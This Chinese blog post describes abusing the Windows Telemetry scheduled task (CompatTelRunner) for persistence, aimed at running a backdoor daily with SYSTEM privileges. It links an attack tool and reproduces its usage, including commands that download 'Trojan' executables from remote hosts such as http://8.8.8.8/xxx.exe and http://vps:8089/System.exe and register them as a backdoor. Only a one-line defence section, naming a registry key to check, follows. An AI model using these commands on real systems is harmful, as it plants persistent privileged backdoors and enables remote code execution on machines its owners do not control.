利用telemetry进行权限维持

叁歲伎倆 2022-12-27 09:27 177阅读 0赞

### 文章目录 ###

*  利用条件
 *  达成效果
 *  利用过程
 *  原理
 *  防御手法

# 利用条件 #

1.  本地管理员权限(绕过UAC)
2.  有Compatelrunner命令
3.  系统版本：2008R2/Windows 7 through 2019/Windows 10

# 达成效果 #

每天以system权限执行一次后门文件

# 利用过程 #

下载[利用脚本][Link 1]到主机上并执行，下列为脚本用法：

> ABUSING WINDOWS TELEMETRY FOR PERSISTENCE  
> .Imanfeng  
> Features:  
> Install: - Deployment authority maintains backdoor
> 
>     Command:
>         TELEMETRY.exe install /command:calc
>         -   Execute command without file backdoor
>     
>         TELEMETRY.exe install /url:http://8.8.8.8/xxx.exe /path:C:\Windows\Temp\check.exe
>         -   Remotely download Trojan files to the specified directory for backdoor startup
>     
>         TELEMETRY.exe install /url:http://8.8.8.8/xxx.exe
>         -   Remotely download Trojan files to C:\\Windows\\Temp\\compattelrun.exe for backdoor startup
>     
>         TELEMETRY.exe install /path:C:\Windows\Temp\check.exe
>         -   Set path Trojan files for backdoor startup
>     
>     Parameter:
>         /command: -   Execute Command
>         /url:     -   Download FROM
>         /path:    -   Download To Execute command without file backdoor
> 
> Telemetry.exe install /command:calc  
> ![1][]
> 
> Telemetry.exe install /url:http://vps:8089/System.exe  
> ![2][]

# 原理 #

https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/

# 防御手法 #

检测下面的键值是否合法：

HKEY_LOCAL_MACHINE \SOFTWARE\Microsoft\WindowsNT\CurrentVersion\AppCompatFlags\TelemetryController

[Link 1]: https://github.com/shanfenglan/test/tree/master/telemetry
[1]: /images/20221120/460500fc1de441b8b7438540b158598f.png
[2]: https://img-blog.csdnimg.cn/20201210114117991.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw,size_16,color_FFFFFF,t_70